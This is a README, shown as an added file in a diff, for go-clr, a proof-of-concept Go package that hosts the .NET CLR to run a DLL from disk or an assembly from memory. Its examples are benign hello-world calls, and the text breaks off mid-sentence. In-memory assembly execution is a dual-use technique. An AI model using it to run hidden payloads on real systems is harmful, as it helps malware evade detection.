+# go-clr
+[![GoDoc](https://godoc.org/github.com/ropnop/go-clr?status.svg)](https://godoc.org/github.com/ropnop/go-clr)
+
+This is my PoC code for hosting the CLR in a Go process and using it to execute a DLL from disk or an assembly from memory.
+
+It's written in pure Go by just wrapping the needed syscalls and making use of a lot of unsafe.Pointers to 
+load structs from memory.
+
+For more info and references, see [this blog post](https://blog.ropnop.com/hosting-clr-in-golang/).
+
+This was was a fun project and proof of concept, but the code is definitely not "production ready". It makes heavy use 
+of `unsafe` and it's probably very unstable. I don't plan on supporting it much moving forward,
+but I wanted to share the code and knowledge to enable others to either contribute, or fork and make their own awesome tools.
+
+## Installation and Usage
+`go-clr` is intended to be used as a package in other scripts. Install it with:
+```bash
+go get github.com/ropnop/go-clr
+```
+
+Take a look at the [examples](./examples) folder for some examples on how to leverage it. The package exposes all the structs and methods
+necessary to customize, but it also includes two "magic" functions to execute .NET from Go: `ExecuteDLLFromDisk` and
+`ExecuteByteArray`. Here's a quick example of using both:
+
+```go
+package main
+
+import (
+	clr "github.com/ropnop/go-clr"
+	"log"
+	"fmt"
+	"io/ioutil"
+	"runtime"
+)
+
+func main() {
+	fmt.Println("[+] Loading DLL from Disk")
+	ret, err := clr.ExecuteDLLFromDisk(
+		"TestDLL.dll",
+		"TestDLL.HelloWorld",
+		"SayHello",
+		"foobar")
+	if err != nil {
+		log.Fatal(err)
+	}
+	fmt.Printf("[+] DLL Return Code: %d\n", ret)
+
+	
+	fmt.Println("[+] Executing EXE from memory")
+	exebytes, err := ioutil.ReadFile("helloworld.exe")
+	if err != nil {
+		log.Fatal(err)
+	}
+	runtime.KeepAlive(exebytes)
+
+	ret2, err := clr.ExecuteByteArray(exebytes)
+	if err != nil {
+		log.Fatal(err)
+	}
+	fmt.Printf("[+] EXE Return Code: %d\n", ret2)
+}
+``` 
+
+The other 2 examples show the same technique but without the magic functions.
+

+This project is licensed under the [Do What the Fuck You Want to Public License](http://www.wtfpl.net/). I deliberately
+chose this "joke" license because I really don't think anyone should be using this for anything serious, and I know
